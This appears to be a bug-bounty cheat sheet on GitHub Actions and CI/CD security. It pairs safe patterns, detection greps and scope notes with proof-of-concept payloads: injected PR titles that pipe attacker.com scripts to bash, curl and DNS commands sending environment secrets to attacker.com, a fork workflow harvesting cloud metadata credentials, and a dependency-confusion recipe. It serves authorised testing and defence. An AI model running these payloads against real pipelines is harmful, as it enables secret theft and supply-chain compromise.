cicd-security

# CI/CD SECURITY — Pipeline Attack Surface > CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production. --- ## 0. QUICK KILL CHECKLIST ``` [ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues [ ] Check for script injection: ${{ github.event.*.body/title/name }} [ ] Find secrets referenced in env: — test if they leak in logs [ ] Check pull_request_target with checkout of untrusted code [ ] Look for self-hosted runners on public repos [ ] Search for OIDC token requests without audience restriction [ ] Check for unpinned actions (uses: owner/action@main) [ ] Look for workflow_dispatch with no input validation [ ] Find artifact downloads without integrity checks [ ] Search for GITHUB_TOKEN with write permission used insecurely ``` --- ## 1. TOOL — cicd_scanner.sh ```bash # Single repo bash tools/cicd_scanner.sh owner/repo # Org-wide (up to 30 repos) bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5 # Scan with recursive reusable workflow analysis bash tools/cicd_scanner.sh owner/repo --recursive --depth 5 # Custom output bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd ``` **Output:** `findings/<target>/cicd/scan_results.txt` + `summary.txt` **What sisakulint finds:** - Script injection via untrusted context - Unpinned actions (tag instead of SHA) - `pull_request_target` misuse - Dangerous patterns (`eval`, `curl | bash`, etc.) - Exposed secret names in `run:` blocks --- ## 2. WORKFLOW INJECTION (Critical — Most Common Paid Bug) ### What It Is GitHub Actions exposes PR/issue data as context variables. If injected into a `run:` block without sanitization, an attacker controls shell code. ### Vulnerable Pattern ```yaml # VULNERABLE — attacker controls pr.title - name: Print PR title run: echo "Title: ${{ github.event.pull_request.title }}" # Attacker PR title: "; curl attacker.com/shell.sh | bash #" ``` ### Safe Pattern ```yaml # SAFE — pass through env var, never interpolate directly - name: Print PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Title: $PR_TITLE" ``` ### Injectable Contexts (always check these) ``` github.event.pull_request.title github.event.pull_request.body github.event.pull_request.head.ref ← branch names github.event.issue.title github.event.issue.body github.event.comment.body github.event.review.body github.event.review_comment.body github.event.discussion.title github.event.discussion.body github.head_ref ← alias for branch name github.event.inputs.* ← workflow_dispatch inputs ``` ### PoC Payload ``` # PR title / issue title payload: "; wget -q -O- attacker.com/$(cat /etc/hostname | base64) # ``` ### Detection Grep ```bash # Find injectable patterns in .github/workflows/ grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/ grep -rn '\${{.*github\.head_ref' .github/workflows/ grep -rn '\${{.*github\.event\.inputs' .github/workflows/ ``` --- ## 3. pull_request_target MISUSE (Critical) ### What It Is `pull_request_target` runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code. ### Vulnerable Pattern ```yaml on: pull_request_target jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.sha }} # ← attacker code! - run: npm test # runs attacker's package.json scripts ``` ### Why It's Critical - `pull_request_target` has access to secrets - Checkout uses the PR's code - Any `run:` step executes attacker-controlled code with access to all org secrets ### Detection ```bash grep -rn 'pull_request_target' .github/workflows/ # Then check if the same job does a checkout of the PR head grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)' ``` --- ## 4. SECRET EXFILTRATION ### Secrets That Appear in Logs ```bash # Search for secrets echoed in run: blocks grep -rn 'echo.*secrets\.' .github/workflows/ grep -rn 'cat.*secrets\.' .github/workflows/ grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#' ``` ### GITHUB_TOKEN Abuse The auto-generated `GITHUB_TOKEN` can be used to: - Push code to branches - Create releases - Read all private repo content - Approve PRs (if permissions allow) ```yaml # Check for overly broad permissions permissions: contents: write # ← Can push/delete code packages: write # ← Can push malicious packages pull-requests: write ``` ### PoC — Exfil via DNS ```bash # In an injected run: block curl "https://attacker.com/?d=$(printenv | base64 -w0)" # Or via DNS (more stealthy) nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com" ``` --- ## 5. SELF-HOSTED RUNNER POISONING ### Why It Matters Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines. ### Detection ```bash # In workflow files grep -rn 'self-hosted' .github/workflows/ # Combined with — does the repo accept PRs from forks? # Pull triggers that run on self-hosted grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)' ``` ### Exploit Path 1. Fork public repo that uses self-hosted runners 2. Open PR with malicious workflow step 3. Job runs on internal self-hosted runner 4. Access internal network, read instance metadata, exfil secrets ### PoC Workflow Addition ```yaml # Attacker adds to fork: jobs: pwn: runs-on: self-hosted steps: - name: Recon run: | curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \ | xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} ``` --- ## 6. OIDC TOKEN THEFT / CLOUD CREDENTIAL ABUSE ### What It Is GitHub Actions can request short-lived cloud credentials via OIDC. Misconfigured trust policies allow any branch/repo to claim elevated AWS/GCP/Azure roles. ### Detection ```bash # Find OIDC usage grep -rn 'id-token.*write\|configure-aws-credentials\|google-github-actions\|azure/login' .github/workflows/ ``` ### Exploit: Overly Broad AWS Trust Policy ```json { "Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com", "token.actions.githubusercontent.com:sub": "repo:org/*:*" } } } ``` → Any branch in the org can assume this role. ### What to Check ``` 1. What role does the workflow assume? (aws:role: ARN in workflow or secrets) 2. Is the trust policy scoped to a specific branch? (ref:refs/heads/main) 3. Can you trigger this from a fork or feature branch? 4. What permissions does the role have? ``` --- ## 7. DEPENDENCY CONFUSION / SUPPLY CHAIN ### Unpinned Actions ```yaml # VULNERABLE — could be hijacked if maintainer's account is compromised uses: actions/checkout@v3 # SAFE — pinned to a specific commit SHA uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 ``` ### Dependency Confusion Attack 1. Find `package.json` or `requirements.txt` that references internal packages 2. Check if the internal package name is published on npm/PyPI 3. Publish a malicious package with a higher version number 4. Build server installs the public (malicious) one instead ### Detection ```bash # Find internal package names in config files grep -rn '"registry"' package.json .npmrc grep -rn 'index-url\|extra-index-url' requirements.txt pip.conf setup.py # Check if those package names exist on public registries ``` --- ## 8. BUG CLASS TABLE | Bug | Trigger | Severity | CVSS Range | |-----|---------|----------|-----------| | Workflow injection via PR title | `${{ github.event.pull_request.title }}` in `run:` | Critical | 9.0–10.0 | | `pull_request_target` + checkout | Accepts PRs from forks | Critical | 9.0–10.0 | | Self-hosted runner on public repo | `runs-on: self-hosted` + public repo | High | 7.5–9.0 | | OIDC trust too broad | Any-branch/any-repo claim | High | 7.5–8.5 | | Secret in log | `echo ${{ secrets.X }}` | Medium | 5.5–7.0 | | Unpinned action | `@main` / `@v1` tag | Low–Medium | 3.0–5.5 | | Artifact poisoning | Unsigned artifact download + exec | Medium | 5.5–7.0 | | `GITHUB_TOKEN` write abuse | Push to protected branch | Medium | 5.5–7.0 | | Dependency confusion | Internal pkg not on public registry | High | 7.5–9.0 | | `workflow_dispatch` injection | Unvalidated inputs in `run:` | Medium–High | 6.0–8.0 | --- ## 9. CHAINING CI/CD BUGS ### Chain A: IDOR → CI/CD Secret Read ``` 1. IDOR on /api/repos/{id}/settings → read CI/CD config 2. Config references internal secret names 3. Workflow injection to exfil those secrets → Impact: Full org secret exfiltration ``` ### Chain B: XSS → GitHub Token Theft ``` 1. Stored XSS on internal GitHub Enterprise 2. JS payload reads document.cookie / localStorage for GITHUB_TOKEN 3. Token used to trigger workflow with malicious inputs → Impact: RCE on build infrastructure ``` ### Chain C: Supply Chain → Production Push ``` 1. Find unpinned action (e.g., uses: corp/internal-action@main) 2. Fork or compromise corp/internal-action 3. Merge malicious code 4. Next CI run pulls the compromised action with full repo write access → Impact: Code execution, backdoored releases ``` --- ## 10. REPORT TEMPLATE ```markdown ## Summary GitHub Actions workflow in `<repo>` is vulnerable to **workflow injection** via the `github.event.pull_request.title` context variable, which is interpolated directly into a `run:` shell block. An attacker who opens a specially crafted PR can achieve arbitrary code execution on the build runner with full access to all repository secrets. ## Steps to Reproduce 1. Fork `<repo>` 2. Open a PR with the following title: `"; curl -s attacker.com/$(cat /etc/hostname | base64 -w0 | head -c 40) #` 3. The CI workflow `.github/workflows/<name>.yml` runs and executes the injected command. 4. Observe DNS/HTTP callback to attacker.com with hostname (or secret payload). ## Impact - RCE on build runner - Read of all `${{ secrets.* }}` available to the workflow - Ability to push malicious code to repository or publish backdoored packages - Pivot to internal network if runner is self-hosted ## Remediation Replace direct context interpolation with environment variable assignment: env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "$PR_TITLE" ## CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical, 10.0) ``` --- ## 11. SCOPE NOTES - Most bug bounty programs scope **public** repos only — confirm before touching private org repos. - Self-hosted runner attacks require a successful workflow run, which means opening a real PR — confirm the program allows this. - Never trigger a workflow that could affect production infrastructure without explicit written permission. - Always check `SECURITY.md` or the program policy for CI/CD-specific scope language. --- ## 12. TOOLS REFERENCE | Tool | Purpose | Install | |------|---------|---------| | `sisakulint` | Lint GitHub Actions workflows for security issues | `bash install_tools.sh` | | `trufflehog` | Find secrets leaked in git history / workflow logs | `bash install_tools.sh` | | `gitleaks` | Scan repos for hardcoded secrets | `bash install_tools.sh` | | `gh` CLI | Download workflow logs, list secrets, trigger runs | `brew install gh` | | `nuclei` | CI/CD-specific templates | `-tags cicd` | | `secrets_hunter.sh` | Wrapper for all three secret scanners | `bash tools/secrets_hunter.sh` | ```bash # Download public workflow run logs (no auth needed) gh run list --repo owner/repo --limit 10 gh run view <run-id> --log --repo owner/repo # List exposed secret names (names only — values never shown by API) gh secret list --repo owner/repo ```